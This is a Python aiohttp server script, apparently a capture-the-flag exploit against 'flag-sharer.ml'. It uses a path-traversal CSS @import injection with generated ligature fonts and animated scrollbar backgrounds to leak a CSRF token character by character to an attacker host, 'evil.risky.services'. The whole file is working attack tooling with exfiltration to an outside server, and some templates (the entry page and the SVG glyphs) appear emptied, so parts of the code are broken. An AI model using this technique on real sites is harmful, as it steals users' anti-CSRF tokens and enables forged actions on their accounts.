import asyncio as aio from aiohttp import web import ssl import logging import tempfile import subprocess import os import base64 import math SELF_URL = "https://evil.risky.services:1338" TARGET_URL = "https://flag-sharer.ml/gifts?error=../item%3fname=@import%2burl(%2522{self_url}{{style_path}}%2522);".format(self_url=SELF_URL) SELECTOR = """textarea[name="csrf"]""" SPECIFICITY_HACK = """[name="csrf"]""" LEAK_LEN = 34 BF_CHARSET = ["a", "b", "c", "d", "e", "f", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "i"] ep = """
""" base_style = """ @import url("{self_url}{{style_path}}"); :root {{{{ --x: red; }}}} {{selector}} {{{{ display: block !important; height: 4em; white-space: nowrap; }}}} {{selector}}::-webkit-scrollbar {{{{ background: var(--x); }}}} """.format(self_url=SELF_URL) class Session(object): count = 0 prefix = "i" evt = aio.Event() FONT_CTR = 0 def generate_font(ligature): global FONT_CTR svg = """ {} {} """.format( '\n '.join([''.format(c) for c in BF_CHARSET]), ''.format(ligature), id=FONT_CTR ) print(svg) woff = b'' with tempfile.NamedTemporaryFile(mode="w+", suffix=".svg") as svgfp: svgfp.write(svg) svgfp.flush() subprocess.run(["/usr/bin/fontforge", "./convert.fontforge", svgfp.name]) woffname = os.path.splitext(svgfp.name)[0] + '.woff' with open(woffname, 'rb') as wofffp: woff = wofffp.read() os.remove(woffname) css = """@font-face {{ font-family: "hack{}"; src: url(data:application/x-font-woff;base64,{}); }} """.format(FONT_CTR, base64.b64encode(woff).decode()) FONT_CTR += 1 return (css, 'hack' + str(FONT_CTR-1)) def generate_fonts(prefix): css = '' chars = {} for c in BF_CHARSET: fnt, fam = generate_font(prefix + c) css += fnt chars[prefix+c] = fam return (css, chars) def generate_frame(frame, sess, count, delta): fdelta = delta / 5.0 css = """{} {} {} {} {}""".format( '{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]), '{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(1*fdelta), frame[0][1]), '{:0.2f}% {{font-family:"{}";--x:blue url({self_url}/leak/{sess}/{count}/{});}}'.format(frame[1]+(2*fdelta), frame[0][1], frame[0][0], self_url=SELF_URL, sess=sess, count=count), '{:0.2f}% {{font-family:"{}";--x:red;}}'.format(frame[1]+(3*fdelta), frame[0][1]), '{:0.2f}% {{font-family:empty;--x:red;}}'.format(frame[1]+(4*fdelta))) return css import decimal def float_range(start, stop, step): while start < stop: yield float(start) start += step ANIM_CTR = 0 def generate_animations(chars, sess, count): global ANIM_CTR delta = math.floor(99/(len(chars.keys())-1)) frames = list(zip(chars.items(), range(0, 99, delta))) css = """@keyframes troll{} {{ {} 100% {{font-family:empty;--x:red}} }}""".format(ANIM_CTR, '\n '.join([generate_frame(f, sess, count, delta) for f in frames])) ANIM_CTR += 1 return (css, 'troll' + str(ANIM_CTR-1)) def generate_attack_style(prefix, sess, count): fonts, chars = generate_fonts(prefix) anim, animid = generate_animations(chars, sess, count) css = """@import url("{self_url}{next_path}"); {fonts} {anim} {selector}{specificity_hack} {{ overflow-x: auto; width: 4em; animation-duration: 3s; animation-delay: 0s; animation-timing-function: step-start; font-family: empty; background: lightblue; animation-name: {animid}; }}""".format(self_url=SELF_URL, next_path='/attack/{}/{}'.format(sess, int(count)+1), fonts=fonts, anim=anim, selector=SELECTOR, specificity_hack=SPECIFICITY_HACK*int(count), animid=animid) return css SESS_CTR = 0 SESSIONS = {} async def handle_entrypoint(req): logging.warning("Got one") global SESS_CTR global SESSIONS sessid = SESS_CTR SESS_CTR += 1 SESSIONS[sessid] = Session() SESSIONS[sessid].evt.set() uniq_url = TARGET_URL.format(style_path="/style/" + str(sessid)) rez = ep.format(sessid=sessid, target_uri=uniq_url) return web.Response(text=rez, content_type='text/html') async def get_style(req): sess = req.match_info['sess'] logging.warning("%s requested base style" % sess) rez = base_style.format(style_path="/attack/" + sess + "/0", selector=SELECTOR+SPECIFICITY_HACK) return web.Response(text=rez, content_type='text/css') async def handle_attack(req): global SESSIONS sess = req.match_info['sess'] sessid = int(sess) if sessid not in SESSIONS.keys(): logging.error("Bad session %s" % sess) return web.Response(text='') session = SESSIONS[sessid] await aio.gather(session.evt.wait(), aio.sleep(3)) session.evt.clear() count = req.match_info['count'] c = int(count) if c >= LEAK_LEN or c != session.count: logging.error("Bad count: expected %d got %d" % (session.count, c)) return web.Response(text='') logging.warning("%s requested attack style" % sess) rez = generate_attack_style(session.prefix, sess, count) session.count += 1 return web.Response(text=rez, content_type='text/css') async def handle_token(req): global SESSIONS sess = req.match_info['sess'] sessid = int(sess) if sessid not in SESSIONS.keys(): logging.error("Bad session %s" % sess) session = SESSIONS[sessid] if len(session.prefix) < LEAK_LEN: return web.json_response({'status': 'false'}) else: return web.json_response({'status': 'true', 'token': session.prefix[:LEAK_LEN]}) async def handle_leak(req): global SESSIONS sess = req.match_info['sess'] sessid = int(sess) if sessid not in SESSIONS.keys(): logging.error("Bad session %s" % sess) return web.Response(text='') session = SESSIONS[sessid] count = req.match_info['count'] c = int(count) if c >= LEAK_LEN or c != session.count-1: logging.error("Bad count: expected %d got %d" % (session.count, c)) return web.Response(text='') session.evt.set() data = req.match_info['data'] logging.warning("%s reported %s" % (sess, data)) session.prefix=data return web.Response(body=b'', content_type='image/png') app = web.Application() app.add_routes([web.get('/entrypoint', handle_entrypoint), web.get('/style/{sess:\d+}', get_style), web.get('/attack/{sess:\d+}/{count:\d+}', handle_attack), web.get('/leak/{sess:\d+}/{count:\d+}/{data}', handle_leak), web.get('/token/{sess:\d+}', handle_token),]) if __name__ == "__main__": print(generate_attack_style('id', '0', '10')) ssl_ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) ssl_ctx.load_cert_chain('/etc/letsencrypt/live/evil.risky.services/fullchain.pem', '/etc/letsencrypt/live/evil.risky.services/privkey.pem') web.run_app(app, port=1338, ssl_context=ssl_ctx)